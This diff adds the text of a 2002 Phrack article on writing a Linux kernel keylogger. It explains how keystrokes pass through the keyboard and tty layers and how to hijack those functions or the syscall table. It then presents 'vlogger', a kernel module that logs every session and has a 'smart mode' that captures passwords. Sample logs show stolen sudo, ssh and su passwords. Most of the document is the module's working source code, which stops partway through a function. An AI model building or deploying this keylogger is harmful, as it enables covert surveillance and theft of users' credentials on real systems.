--- /dev/null
+
+ ==Phrack Inc.==
+
+ Volume 0x0b, Issue 0x3b, Phile #0x0e of 0x12
+
+
+|=-----------------=[ Writing Linux Kernel Keylogger ]=------------------=|
+|=-----------------------------------------------------------------------=|
+|=------------------------=[ rd <rd@thc.org> ]=--------------------------=|
+|=------------------------=[ June 19th, 2002 ]=--------------------------=|
+
+--[ Contents
+
+ 1 - Introduction
+
+ 2 - How Linux keyboard driver work
+
+ 3 - Kernel based keylogger approaches
+ 3.1 - Interrupt handler
+ 3.2 - Function hijacking
+ 3.2.1 - handle_scancode
+ 3.2.2 - put_queue
+ 3.2.3 - receive_buf
+ 3.2.4 - tty_read
+ 3.2.5 - sys_read/sys_write
+
+ 4 - vlogger
+ 4.1 - The syscall/tty approach
+ 4.2 - Features
+ 4.3 - How to use
+
+ 5 - Greets
+
+ 6 - References
+
+ 7 - Keylogger source
+
+
+
+
+--[ 1 - Introduction
+
+ This article is divided into two parts. The first part of the paper
+gives an overview on how the linux keyboard driver work, and discusses
+methods that can be used to create a kernel based keylogger. This part
+will be useful for those who want to write a kernel based keylogger, or to
+write their own keyboard driver (for supporting input of non-supported
+language in linux environment, ...) or to program taking advantage of many
+features in the Linux keyboard driver.
+
+ The second part presents detail of vlogger, a smart kernel based linux
+keylogger, and how to use it. Keylogger is a very interesting code being
+used widely in honeypots, hacked systems, ... by white and black hats. As
+most of us known, besides user space keyloggers (such as iob, uberkey,
+unixkeylogger, ...), there are some kernel based keyloggers. The earliest
+kernel based keylogger is linspy of halflife which was published in Phrack
+50 (see [4]). And the recent kkeylogger is presented in 'Kernel Based
+Keylogger' paper by mercenary (see [7]) that I found when was writing this
+paper. The common method of those kernel based keyloggers using is to log
+user keystrokes by intercepting sys_read or sys_write system call.
+However, this approach is quite unstable and slowing down the whole system
+noticeably because sys_read (or sys_write) is the generic read/write
+function of the system; sys_read is called whenever a process wants to read
+something from devices (such as keyboard, file, serial port, ...). In
+vlogger, I used a better way to implement it that hijacks the tty buffer
+processing function.
+
+ The reader is supposed to possess the knowledge on Linux Loadable Kernel
+Module. Articles [1] and [2] are recommended to read before further
+reading.
+
+
+--[ 2 - How Linux keyboard driver work
+
+ Lets take a look at below figure to know how user inputs from console
+keyboard are processed:
+
+ _____________ _________ _________
+ / \ put_queue| |receive_buf| |tty_read
+/handle_scancode\-------->|tty_queue|---------->|tty_ldisc|------->
+\ / | | |buffer |
+ \_____________/ |_________| |_________|
+
+ _________ ____________
+ | |sys_read| |
+--->|/dev/ttyX|------->|user process|
+ | | | |
+ |_________| |____________|
+
+
+ Figure 1
+
+ First, when you press a key on the keyboard, the keyboard will send
+corresponding scancodes to keyboard driver. A single key press can produce
+a sequence of up to six scancodes.
+
+ The handle_scancode() function in the keyboard driver parses the stream
+of scancodes and converts it into a series of key press and key release
+events called keycode by using a translation-table via kbd_translate()
+function. Each key is provided with a unique keycode k in the range 1-127.
+Pressing key k produces keycode k, while releasing it produces keycode
+k+128.
+
+ For example, keycode of 'a' is 30. Pressing key 'a' produces keycode 30.
+Releasing 'a' produces keycode 158 (128+30).
+
+ Next, keycodes are converted to key symbols by looking them up on the
+appropriate keymap. This is a quite complex process. There are eight
+possible modifiers (shift keys - Shift , AltGr, Control, Alt, ShiftL,
+ShiftR, CtrlL and CtrlR), and the combination of currently active modifiers
+and locks determines the keymap used.
+
+ After the above handling, the obtained characters are put into the raw
+tty queue - tty_flip_buffer.
+
+ In the tty line discipline, receive_buf() function is called periodically
+to get characters from tty_flip_buffer then put them into tty read queue.
+
+ When user process want to get user input, it calls read() function on
+stdin of the process. sys_read() function will calls read() function
+defined in file_operations structure (which is pointed to tty_read) of
+corresponding tty (ex /dev/tty0) to read input characters and return to the
+process.
+
+ The keyboard driver can be in one of 4 modes:
+ - scancode (RAW MODE): the application gets scancodes for input.
+ It is used by applications that implement their own keyboard
+ driver (ex: X11)
+
+ - keycode (MEDIUMRAW MODE): the application gets information on
+ which keys (identified by their keycodes) get pressed and
+ released.
+
+ - ASCII (XLATE MODE): the application effectively gets the
+ characters as defined by the keymap, using an 8-bit encoding.
+
+ - Unicode (UNICODE MODE): this mode only differs from the ASCII
+ mode by allowing the user to compose UTF8 unicode characters by
+ their decimal value, using Ascii_0 to Ascii_9, or their
+ hexadecimal (4-digit) value, using Hex_0 to Hex_9. A keymap can
+ be set up to produce UTF8 sequences (with a U+XXXX pseudo-symbol,
+ where each X is an hexadecimal digit).
+
+ Those modes influence what type of data that applications will get as
+keyboard input. For more details on scancode, keycode and keymaps, please
+read [3].
+
+
+--[ 3 - Kernel based keylogger approaches
+
+ We can implement a kernel based keylogger in two ways by writing our own
+keyboard interrupt handler or hijacking one of input processing functions.
+
+
+----[ 3.1 - Interrupt handler
+
+ To log keystrokes, we will use our own keyboard interrupt handler. Under
+Intel architectures, the IRQ of the keyboard controlled is IRQ 1. When
+receives a keyboard interrupt, our own keyboard interrupt handler read the
+scancode and keyboard status. Keyboard events can be read and written via
+port 0x60(Keyboard data register) and 0x64(Keyboard status register).
+
+/* below code is intel specific */
+#define KEYBOARD_IRQ 1
+#define KBD_STATUS_REG 0x64
+#define KBD_CNTL_REG 0x64
+#define KBD_DATA_REG 0x60
+
+#define kbd_read_input() inb(KBD_DATA_REG)
+#define kbd_read_status() inb(KBD_STATUS_REG)
+#define kbd_write_output(val) outb(val, KBD_DATA_REG)
+#define kbd_write_command(val) outb(val, KBD_CNTL_REG)
+
+/* register our own IRQ handler */
+request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL);
+
+In my_keyboard_irq_handler():
+ scancode = kbd_read_input();
+ key_status = kbd_read_status();
+ log_scancode(scancode);
+
+ This method is platform dependent. So it won't be portable among
+platforms. And you have to be very careful with your interrupt handler if
+you don't want to crash your box ;)
+
+
+----[ 3.2 - Function hijacking
+
+ Based on the Figure 1, we can implement our keylogger to log user inputs
+by hijacking one of handle_scancode(), put_queue(), receive_buf(),
+tty_read() and sys_read() functions. Note that we can't intercept
+tty_insert_flip_char() function because it is an INLINE function.
+
+
+------[ 3.2.1 - handle_scancode
+
+ This is the entry function of the keyboard driver (see keyboard.c). It
+handles scancodes which are received from keyboard.
+
+# /usr/src/linux/drives/char/keyboard.c
+void handle_scancode(unsigned char scancode, int down);
+
+ We can replace original handle_scancode() function with our own to logs
+all scancodes. But handle_scancode() function is not a global and exported
+function. So to do this, we can use kernel function hijacking technique
+introduced by Silvio (see [5]).
+
+/* below is a code snippet written by Plasmoid */
+static struct semaphore hs_sem, log_sem;
+static int logging=1;
+
+#define CODESIZE 7
+static char hs_code[CODESIZE];
+static char hs_jump[CODESIZE] =
+ "\xb8\x00\x00\x00\x00" /* movl $0,%eax */
+ "\xff\xe0" /* jmp *%eax */
+ ;
+
+void (*handle_scancode) (unsigned char, int) =
+ (void (*)(unsigned char, int)) HS_ADDRESS;
+
+void _handle_scancode(unsigned char scancode, int keydown)
+{
+ if (logging && keydown)
+ log_scancode(scancode, LOGFILE);
+
+ /*
+ * Restore first bytes of the original handle_scancode code. Call
+ * the restored function and re-restore the jump code. Code is
+ * protected by semaphore hs_sem, we only want one CPU in here at a
+ * time.
+ */
+ down(&hs_sem);
+
+ memcpy(handle_scancode, hs_code, CODESIZE);
+ handle_scancode(scancode, keydown);
+ memcpy(handle_scancode, hs_jump, CODESIZE);
+
+ up(&hs_sem);
+}
+
+HS_ADDRESS is set by the Makefile executing this command
+HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode))
+
+ Similar to method presented in 3.1, the advantage of this method is the
+ability to log keystrokes under X and the console, no matter if a tty is
+invoked or not. And you will know exactly what key is pressed on the
+keyboard (including special keys such as Control, Alt, Shift, Print Screen,
+...). But this method is platform dependent and won't be portable among
+platforms. This method also can't log keystroke of remote sessions and is
+quite complex for building an advance logger.
+
+
+------[ 3.2.2 - put_queue
+
+ This function is called by handle_scancode() function to put characters
+into tty_queue.
+
+# /usr/src/linux/drives/char/keyboard.c
+void put_queue(int ch);
+
+ To intercept this function, we can use the above technique as in section
+(3.2.1).
+
+
+------[ 3.2.3 - receive_buf
+
+ receive_buf() function is called by the low-level tty driver to send
+characters received by the hardware to the line discipline for processing.
+
+# /usr/src/linux/drivers/char/n_tty.c */
+static void n_tty_receive_buf(struct tty_struct *tty, const
+ unsigned char *cp, char *fp, int count)
+
+cp is a pointer to the buffer of input character received by the device.
+fp is a pointer to a pointer of flag bytes which indicate whether a
+character was received with a parity error, etc.
+
+Lets take a deeper look into tty structures
+
+# /usr/include/linux/tty.h
+struct tty_struct {
+ int magic;
+ struct tty_driver driver;
+ struct tty_ldisc ldisc;
+ struct termios *termios, *termios_locked;
+ ...
+}
+
+# /usr/include/linux/tty_ldisc.h
+struct tty_ldisc {
+ int magic;
+ char *name;
+ ...
+ void (*receive_buf)(struct tty_struct *,
+ const unsigned char *cp, char *fp, int count);
+ int (*receive_room)(struct tty_struct *);
+ void (*write_wakeup)(struct tty_struct *);
+};
+
+ To intercept this function, we can save the original tty receive_buf()
+function then set ldisc.receive_buf to our own new_receive_buf() function
+in order to logging user inputs.
+
+Ex: to log inputs on the tty0
+
+int fd = open("/dev/tty0", O_RDONLY, 0);
+struct file *file = fget(fd);
+struct tty_struct *tty = file->private_data;
+old_receive_buf = tty->ldisc.receive_buf;
+tty->ldisc.receive_buf = new_receive_buf;
+
+void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
+ char *fp, int count)
+{
+ logging(tty, cp, count); //log inputs
+
+ /* call the original receive_buf */
+ (*old_receive_buf)(tty, cp, fp, count);
+}
+
+
+------[ 3.2.4 - tty_read
+
+ This function is called when a process wants to read input characters
+from a tty via sys_read() function.
+
+# /usr/src/linux/drives/char/tty_io.c
+static ssize_t tty_read(struct file * file, char * buf, size_t count,
+ loff_t *ppos)
+
+static struct file_operations tty_fops = {
+ llseek: tty_lseek,
+ read: tty_read,
+ write: tty_write,
+ poll: tty_poll,
+ ioctl: tty_ioctl,
+ open: tty_open,
+ release: tty_release,
+ fasync: tty_fasync,
+};
+
+To log inputs on the tty0:
+
+int fd = open("/dev/tty0", O_RDONLY, 0);
+struct file *file = fget(fd);
+old_tty_read = file->f_op->read;
+file->f_op->read = new_tty_read;
+
+
+------[ 3.2.5 - sys_read/sys_write
+
+ We will intercept sys_read/sys_write system calls to redirect it to our
+own code which logs the content of the read/write calls. This method was
+presented by halflife in Phrack 50 (see [4]). I highly recommend reading
+that paper and a great article written by pragmatic called "Complete Linux
+Loadable Kernel Modules" (see [2]).
+
+The code to intercept sys_read/sys_write will be something like this:
+
+extern void *sys_call_table[];
+original_sys_read = sys_call_table[__NR_read];
+sys_call_table[__NR_read] = new_sys_read;
+
+
+--[ 4 - vlogger
+
+ This part will introduce my kernel keylogger which is used method
+described in section 3.2.3 to acquire more abilities than common keyloggers
+used sys_read/sys_write systemcall replacement approach. I have tested the
+code with the following versions of linux kernel: 2.4.5, 2.4.7, 2.4.17 and
+2.4.18.
+
+
+----[ 4.1 - The syscall/tty approach
+
+ To logging both local (logged from console) and remote sessions, I chose
+the method of intercepting receive_buf() function (see 3.2.3).
+
+ In the kernel, tty_struct and tty_queue structures are dynamically
+allocated only when the tty is open. Thus, we also have to intercept
+sys_open syscall to dynamically hooking the receive_buf() function of each
+tty or pty when it's invoked.
+
+// to intercept open syscall
+original_sys_open = sys_call_table[__NR_open];
+sys_call_table[__NR_open] = new_sys_open;
+
+// new_sys_open()
+asmlinkage int new_sys_open(const char *filename, int flags, int mode)
+{
+...
+ // call the original_sys_open
+ ret = (*original_sys_open)(filename, flags, mode);
+
+ if (ret >= 0) {
+ struct tty_struct * tty;
+...
+ file = fget(ret);
+ tty = file->private_data;
+ if (tty != NULL &&
+...
+ tty->ldisc.receive_buf != new_receive_buf) {
+...
+ // save the old receive_buf
+ old_receive_buf = tty->ldisc.receive_buf;
+...
+
+ /*
+ * init to intercept receive_buf of this tty
+ * tty->ldisc.receive_buf = new_receive_buf;
+ */
+ init_tty(tty, TTY_INDEX(tty));
+ }
+...
+}
+
+// our new receive_buf() function
+void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
+ char *fp, int count)
+{
+ if (!tty->real_raw && !tty->raw) // ignore raw mode
+ // call our logging function to log user inputs
+ vlogger_process(tty, cp, count);
+ // call the original receive_buf
+ (*old_receive_buf)(tty, cp, fp, count);
+}
+
+
+----[ 4.2 - Features
+
+ - Logs both local and remote sessions (via tty & pts)
+
+ - Separate logging for each tty/session. Each tty has their own logging
+ buffer.
+
+ - Nearly support all special chars such as arrow keys (left, right, up,
+ down), F1 to F12, Shift+F1 to Shift+F12, Tab, Insert, Delete, End,
+ Home, Page Up, Page Down, BackSpace, ...
+
+ - Support some line editing keys included CTRL-U and BackSpace.
+
+ - Timestamps logging, timezone supported (ripped off some codes from
+ libc).
+
+ - Multiple logging modes
+
+ o dumb mode: logs all keystrokes
+
+ o smart mode: detects password prompt automatically to log
+ user/password only. I used the similar technique presented in
+ "Passive Analysis of SSH (Secure Shell) Traffic" paper by Solar
+ Designer and Dug Song (see [6]). When the application turns input
+ echoing off, we assume that it is for entering a password.
+
+ o normal mode: disable logging
+
+You can switch between logging modes by using a magic password.
+
+#define VK_TOGLE_CHAR 29 // CTRL-]
+#define MAGIC_PASS "31337" // to switch mode, type MAGIC_PASS
+ // then press VK_TOGLE_CHAR key
+
+----[ 4.3 - How to use
+
+Change the following options
+
+// directory to store log files
+#define LOG_DIR "/tmp/log"
+
+// your local timezone
+#define TIMEZONE 7*60*60 // GMT+7
+
+// your magic password
+#define MAGIC_PASS "31337"
+
+Below is how the log file looks like:
+
+[root@localhost log]# ls -l
+total 60
+-rw------- 1 root root 633 Jun 19 20:59 pass.log
+-rw------- 1 root root 37593 Jun 19 18:51 pts11
+-rw------- 1 root root 56 Jun 19 19:00 pts20
+-rw------- 1 root root 746 Jun 19 20:06 pts26
+-rw------- 1 root root 116 Jun 19 19:57 pts29
+-rw------- 1 root root 3219 Jun 19 21:30 tty1
+-rw------- 1 root root 18028 Jun 19 20:54 tty2
+
+---in dumb mode
+[root@localhost log]# head tty2 // local session
+<19/06/2002-20:53:47 uid=501 bash> pwd
+<19/06/2002-20:53:51 uid=501 bash> uname -a
+<19/06/2002-20:53:53 uid=501 bash> lsmod
+<19/06/2002-20:53:56 uid=501 bash> pwd
+<19/06/2002-20:54:05 uid=501 bash> cd /var/log
+<19/06/2002-20:54:13 uid=501 bash> tail messages
+<19/06/2002-20:54:21 uid=501 bash> cd ~
+<19/06/2002-20:54:22 uid=501 bash> ls
+<19/06/2002-20:54:29 uid=501 bash> tty
+<19/06/2002-20:54:29 uid=501 bash> [UP]
+
+[root@localhost log]# tail pts11 // remote session
+<19/06/2002-18:48:27 uid=0 bash> cd new
+<19/06/2002-18:48:28 uid=0 bash> cp -p ~/code .
+<19/06/2002-18:48:21 uid=0 bash> lsmod
+<19/06/2002-18:48:27 uid=0 bash> cd /va[TAB][^H][^H]tmp/log/
+<19/06/2002-18:48:28 uid=0 bash> ls -l
+<19/06/2002-18:48:30 uid=0 bash> tail pts11
+<19/06/2002-18:48:38 uid=0 bash> [UP] | more
+<19/06/2002-18:50:44 uid=0 bash> vi vlogertxt
+<19/06/2002-18:50:48 uid=0 vi> :q
+<19/06/2002-18:51:14 uid=0 bash> rmmod vlogger
+
+---in smart mode
+[root@localhost log]# cat pass.log
+[19/06/2002-18:28:05 tty=pts/20 uid=501 sudo]
+USER/CMD sudo traceroute yahoo.com
+PASS 5hgt6d
+PASS
+
+[19/06/2002-19:59:15 tty=pts/26 uid=0 ssh]
+USER/CMD ssh guest@host.com
+PASS guest
+
+[19/06/2002-20:50:44 tty=pts/29 uid=504 ftp]
+USER/CMD open ftp.ilog.fr
+USER Anonymous
+PASS heh@heh
+
+[19/06/2002-20:59:54 tty=pts/29 uid=504 su]
+USER/CMD su -
+PASS asdf1234
+
+
+Please check http://www.thc.org/ for update on the new version
+of this tool.
+
+
+--[ 5 - Greets
+
+Thanks to plasmoid, skyper for your very useful comments
+Greets to THC, vnsecurity and all friends
+Finally, thanks to mr. thang for english corrections
+
+
+--[ 6 - References
+
+[1] Linux Kernel Module Programming
+ http://www.tldp.org/LDP/lkmpg/
+[2] Complete Linux Loadable Kernel Modules - Pragmatic
+ http://www.thc.org/papers/LKM_HACKING.html
+[3] The Linux keyboard driver - Andries Brouwer
+ http://www.linuxjournal.com/lj-issues/issue14/1080.html
+[4] Abuse of the Linux Kernel for Fun and Profit - Halflife
+ http://www.phrack.com/phrack/50/P50-05
+[5] Kernel function hijacking - Silvio Cesare
+ http://www.big.net.au/~silvio/kernel-hijack.txt
+[6] Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer
+ http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt
+[7] Kernel Based Keylogger - Mercenary
+ http://packetstorm.decepticons.org/UNIX/security/kernel.keylogger.txt
+
+--[ 7 - Keylogger sources
+
+<++> vlogger/Makefile
+#
+# vlogger 1.0 by rd
+#
+# LOCAL_ONLY logging local session only. Doesn't intercept
+# sys_open system call
+# DEBUG Enable debug. Turn on this options will slow
+# down your system
+#
+
+KERNELDIR =/usr/src/linux
+include $(KERNELDIR)/.config
+MODVERFILE = $(KERNELDIR)/include/linux/modversions.h
+
+MODDEFS = -D__KERNEL__ -DMODULE -DMODVERSIONS
+CFLAGS = -Wall -O2 -I$(KERNELDIR)/include -include $(MODVERFILE) \
+ -Wstrict-prototypes -fomit-frame-pointer -pipe \
+ -fno-strength-reduce -malign-loops=2 -malign-jumps=2 \
+ -malign-functions=2
+
+all : vlogger.o
+
+vlogger.o: vlogger.c
+ $(CC) $(CFLAGS) $(MODDEFS) -c $^ -o $@
+
+clean:
+ rm -f *.o
+<-->
+<++> vlogger/vlogger.c
+/*
+ * vlogger 1.0
+ *
+ * Copyright (C) 2002 rd <rd@vnsecurity.net>
+ *
+ * Please check http://www.thc.org/ for update
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ *
+ * Greets to THC & vnsecurity
+ *
+ */
+
+#define __KERNEL_SYSCALLS__
+#include <linux/version.h>
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <linux/smp_lock.h>
+#include <linux/sched.h>
+#include <linux/unistd.h>
+#include <linux/string.h>
+#include <linux/file.h>
+#include <asm/uaccess.h>
+#include <linux/proc_fs.h>
+#include <asm/errno.h>
+#include <asm/io.h>
+
+#ifndef KERNEL_VERSION
+#define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
+#endif
+
+#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,4,9)
+MODULE_LICENSE("GPL");
+MODULE_AUTHOR("rd@vnsecurity.net");
+#endif
+
+#define MODULE_NAME "vlogger "
+#define MVERSION "vlogger 1.0 - by rd@vnsecurity.net\n"
+
+#ifdef DEBUG
+#define DPRINT(format, args...) printk(MODULE_NAME format, ##args)
+#else
+#define DPRINT(format, args...)
+#endif
+
+#define N_TTY_NAME "tty"
+#define N_PTS_NAME "pts"
+#define MAX_TTY_CON 8
+#define MAX_PTS_CON 256
+#define LOG_DIR "/tmp/log"
+#define PASS_LOG LOG_DIR "/pass.log"
+
+#define TIMEZONE 7*60*60 // GMT+7
+
+#define ESC_CHAR 27
+#define BACK_SPACE_CHAR1 127 // local
+#define BACK_SPACE_CHAR2 8 // remote
+
+#define VK_TOGLE_CHAR 29 // CTRL-]
+#define MAGIC_PASS "31337" // to switch mode, press MAGIC_PASS and
+ // VK_TOGLE_CHAR
+
+#define VK_NORMAL 0
+#define VK_DUMBMODE 1
+#define VK_SMARTMODE 2
+#define DEFAULT_MODE VK_DUMBMODE
+
+#define MAX_BUFFER 256
+#define MAX_SPECIAL_CHAR_SZ 12
+
+#define TTY_NUMBER(tty) MINOR((tty)->device) - (tty)->driver.minor_start \
+ + (tty)->driver.name_base
+#define TTY_INDEX(tty) tty->driver.type == \
+ TTY_DRIVER_TYPE_PTY?MAX_TTY_CON + \
+ TTY_NUMBER(tty):TTY_NUMBER(tty)
+#define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)
+#define TTY_WRITE(tty, buf, count) (*tty->driver.write)(tty, 0, \
+ buf, count)
+
+#define TTY_NAME(tty) (tty->driver.type == \
+ TTY_DRIVER_TYPE_CONSOLE?N_TTY_NAME: \
+ tty->driver.type == TTY_DRIVER_TYPE_PTY && \
+ tty->driver.subtype == PTY_TYPE_SLAVE?N_PTS_NAME:"")
+
+#define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
+#define END_KMEM set_fs(old_fs); }
+
+extern void *sys_call_table[];
+int errno;
+
+struct tlogger {
+ struct tty_struct *tty;
+ char buf[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ];
+ int lastpos;
+ int status;
+ int pass;
+};
+
+struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL };
+void (*old_receive_buf)(struct tty_struct *, const unsigned char *,
+ char *, int);
+asmlinkage int (*original_sys_open)(const char *, int, int);
+
+int vlogger_mode = DEFAULT_MODE;
+
+/* Prototypes */
+static inline void init_tty(struct tty_struct *, int);
+
+/*
+static char *_tty_make_name(struct tty_struct *tty,
+ const char *name, char *buf)
+{
+ int idx = (tty)?MINOR(tty->device) - tty->driver.minor_start:0;
+
+ if (!tty)
+ strcpy(buf, "NULL tty");
+ else
+ sprintf(buf, name,
+ idx + tty->driver.name_base);
+ return buf;
+}
+
+char *tty_name(struct tty_struct *tty, char *buf)
+{
+ return _tty_make_name(tty, (tty)?tty->driver.name:NULL, buf);
+}
+*/
+
+#define SECS_PER_HOUR (60 * 60)
+#define SECS_PER_DAY (SECS_PER_HOUR * 24)
+#define isleap(year) \
+ ((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
+#define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
+#define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))
+
+struct vtm {
+ int tm_sec;
+ int tm_min;
+ int tm_hour;
+ int tm_mday;
+ int tm_mon;
+ int tm_year;
+};
+
+
+/*
+ * Convert from epoch to date
+ */
+
+int epoch2time (const time_t *t, long int offset, struct vtm *tp)
+{
+ static const unsigned short int mon_yday[2][13] = {
+ /* Normal years. */
+ { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 },
+ /* Leap years. */
+ { 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
+ };
+
+ long int days, rem, y;
+ const unsigned short int *ip;
+
+ days = *t / SECS_PER_DAY;
+ rem = *t % SECS_PER_DAY;
+ rem += offset;
+ while (rem < 0) {
+ rem += SECS_PER_DAY;
+ --days;
+ }
+ while (rem >= SECS_PER_DAY) {
+ rem -= SECS_PER_DAY;
+ ++days;
+ }
+ tp->tm_hour = rem / SECS_PER_HOUR;
+ rem %= SECS_PER_HOUR;
+ tp->tm_min = rem / 60;
+ tp->tm_sec = rem % 60;
+ y = 1970;
+
+ while (days < 0 || days >= (isleap (y) ? 366 : 365)) {
+ long int yg = y + days / 365 - (days % 365 < 0);
+ days -= ((yg - y) * 365
+ + LEAPS_THRU_END_OF (yg - 1)
+ - LEAPS_THRU_END_OF (y - 1));
+ y = yg;
+ }
+ tp->tm_year = y - 1900;
+ if (tp->tm_year != y - 1900)
+ return 0;
+ ip = mon_yday[isleap(y)];
+ for (y = 11; days < (long int) ip[y]; --y)
+ continue;
+ days -= ip[y];
+ tp->tm_mon = y;
+ tp->tm_mday = days + 1;
+ return 1;
+}
+
+
+/*
+ * Get current date & time
+ */
+
+void get_time (char *date_time)
+{
+ struct timeval tv;
+ time_t t;
+ struct vtm tm;
+
+ do_gettimeofday(&tv);
+ t = (time_t)tv.tv_sec;
+
+ epoch2time(&t, TIMEZONE, &tm);
+
+ sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday,
+ tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min,
+ tm.tm_sec);
+}
+
+
+/*
+ * Get task structure from pgrp id
+ */
+
+inline struct task_struct *get_task(pid_t pgrp)
+{
+ struct task_struct *task = current;
+
+ do {
+ if (task->pgrp == pgrp) {
+ return task;
+ }
+ task = task->next_task;
+ } while (task != current);
+ return NULL;
+}
+
+
+#define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))
+#define WRITABLE(f) (f->f_op && f->f_op->write)
+
+int write_to_file(char *logfile, char *buf, int size)
+{
+ int ret = 0;
+ struct file *f = NULL;
+
+ lock_kernel();
+ BEGIN_KMEM;
+ f = filp_open(logfile, O_CREAT|O_APPEND, 00600);
+
+ if (IS_ERR(f)) {
+ DPRINT("Error %ld opening %s\n", -PTR_ERR(f), logfile);
+ ret = -1;
+ } else {
+ if (WRITABLE(f))
+ _write(f, buf, size);
+ else {
+ DPRINT("%s does not have a write method\n",
+ logfile);
+ ret = -1;
+ }
+
+ if ((ret = filp_close(f,NULL)))
+ DPRINT("Error %d closing %s\n", -ret, logfile);
+ }
+ END_KMEM;
+ unlock_kernel();
+
+ return ret;
+}
+
+
+#define BEGIN_ROOT { int saved_fsuid = current->fsuid; current->fsuid = 0;
+#define END_ROOT current->fsuid = saved_fsuid; }
+
+
+/*
+ * Logging keystrokes
+ */
+
+void logging(struct tty_struct *tty, struct tlogger *tmp, int cont)
+{
+ int i;
+
+ char logfile[256];
+ char loginfo[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ + 256];
+ char date_time[24];
+ struct task_struct *task;
+
+ if (vlogger_mode == VK_NORMAL)
+ return;
+
+ if ((vlogger_mode == VK_SMARTMODE) && (!tmp->lastpos || cont))
+ return;
+
+ task = get_task(tty->pgrp);
+
+ for (i=0; i<tmp->lastpos; i++)
+ if (tmp->buf[i] == 0x0D) tmp->buf[i] = 0x0A;
+
+ if (!cont)
+ tmp->buf[tmp->lastpos++] = 0x0A;
+
+ tmp->buf[tmp->lastpos] = 0;
+
+ if (vlogger_mode == VK_DUMBMODE) {
+ snprintf(logfile, sizeof(logfile)-1, "%s/%s%d",
+ LOG_DIR, TTY_NAME(tty), TTY_NUMBER(tty));
+ BEGIN_ROOT
+ if (!tmp->status) {
+ get_time(date_time);
+ if (task)
+ snprintf(loginfo, sizeof(loginfo)-1,
+ "<%s uid=%d %s> %s", date_time,
+ task->uid, task->comm, tmp->buf);
+ else
+ snprintf(loginfo, sizeof(loginfo)-1,
+ "<%s> %s", date_time, tmp->buf);
+
+ write_to_file(logfile, loginfo, strlen(loginfo));
+ } else {
+ write_to_file(logfile, tmp->buf, tmp->lastpos);
+ }
+ END_ROOT
+
+#ifdef DEBUG
+ if (task)
+ DPRINT("%s/%d uid=%d %s: %s",
+ TTY_NAME(tty), TTY_NUMBER(tty),
+ task->uid, task->comm, tmp->buf);
+ else
+ DPRINT("%s", tmp->buf);
+#endif
+ tmp->status = cont;
+
+ } else {
+
+ /*
+ * Logging USER/CMD and PASS in SMART_MODE
+ */
+
+ BEGIN_ROOT
+ if (!tmp->pass) {
+ get_time(date_time);
+ if (task)
+ snprintf(loginfo, sizeof(loginfo)-1,
+ "\n[%s tty=%s/%d uid=%d %s]\n"
+ "USER/CMD %s", date_time,
+ TTY_NAME(tty),TTY_NUMBER(tty),
+ task->uid, task->comm, tmp->buf);
+ else
+ snprintf(loginfo, sizeof(loginfo)-1,
+ "\n[%s tty=%s/%d]\nUSER/CMD %s",
+ date_time, TTY_NAME(tty),
+ TTY_NUMBER(tty), tmp->buf);
+
+ write_to_file(PASS_LOG, loginfo, strlen(loginfo));
+ } else {
+ snprintf(loginfo, sizeof(loginfo)-1, "PASS %s",
+ tmp->buf);
+ write_to_file (PASS_LOG, loginfo, strlen(loginfo));
+ }
+
+ END_ROOT
+
+#ifdef DEBUG
+ if (!tmp->pass)
+ DPRINT("USER/CMD %s", tmp->buf);
+ else
+ DPRINT("PASS %s", tmp->buf);
+#endif
+ }
+
+ if (!cont) tmp->buf[--tmp->lastpos] = 0;
+}
+
+
+#define resetbuf(t) \
+{ \
+ t->buf[0] = 0; \
+ t->lastpos = 0; \
+}
+
+#define append_c(t, s, n) \
+{ \
+ t->lastpos += n; \
+ strncat(t->buf, s, n); \
+}
+
+static inline void reset_all_buf(void)
+{
+ int i = 0;
+ for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++)
+ if (ttys[i] != NULL)
+ resetbuf(ttys[i]);
+}
+
+void special_key(struct tlogger *tmp, const unsigned char *cp, int count)
+{
+ switch(count) {
+ case 2:
+ switch(cp[1]) {
+ case '\'':
+ append_c(tmp, "[ALT-\']", 7);
+ break;
+ case ',':
+ append_c(tmp, "[ALT-,]", 7);
+ break;
+ case '-':
+ append_c(tmp, "[ALT--]", 7);
+ break;
+ case '.':
+ append_c(tmp, "[ALT-.]", 7);
+ break;
+ case '/':
+ append_c(tmp, "[ALT-/]", 7);
+ break;
+ case '0':
+ append_c(tmp, "[ALT-0]", 7);
+ break;
+ case '1':
+ append_c(tmp, "[ALT-1]", 7);
+ break;
+ case '2':
+ append_c(tmp, "[ALT-2]", 7);
+ break;
+ case '3':
+ append_c(tmp, "[ALT-3]", 7);
+ break;
+ case '4':
+ append_c(tmp, "[ALT-4]", 7);
+ break;
+ case '5':
+ append_c(tmp, "[ALT-5]", 7);
+ break;
+ case '6':
+ append_c(tmp, "[ALT-6]", 7);
+ break;
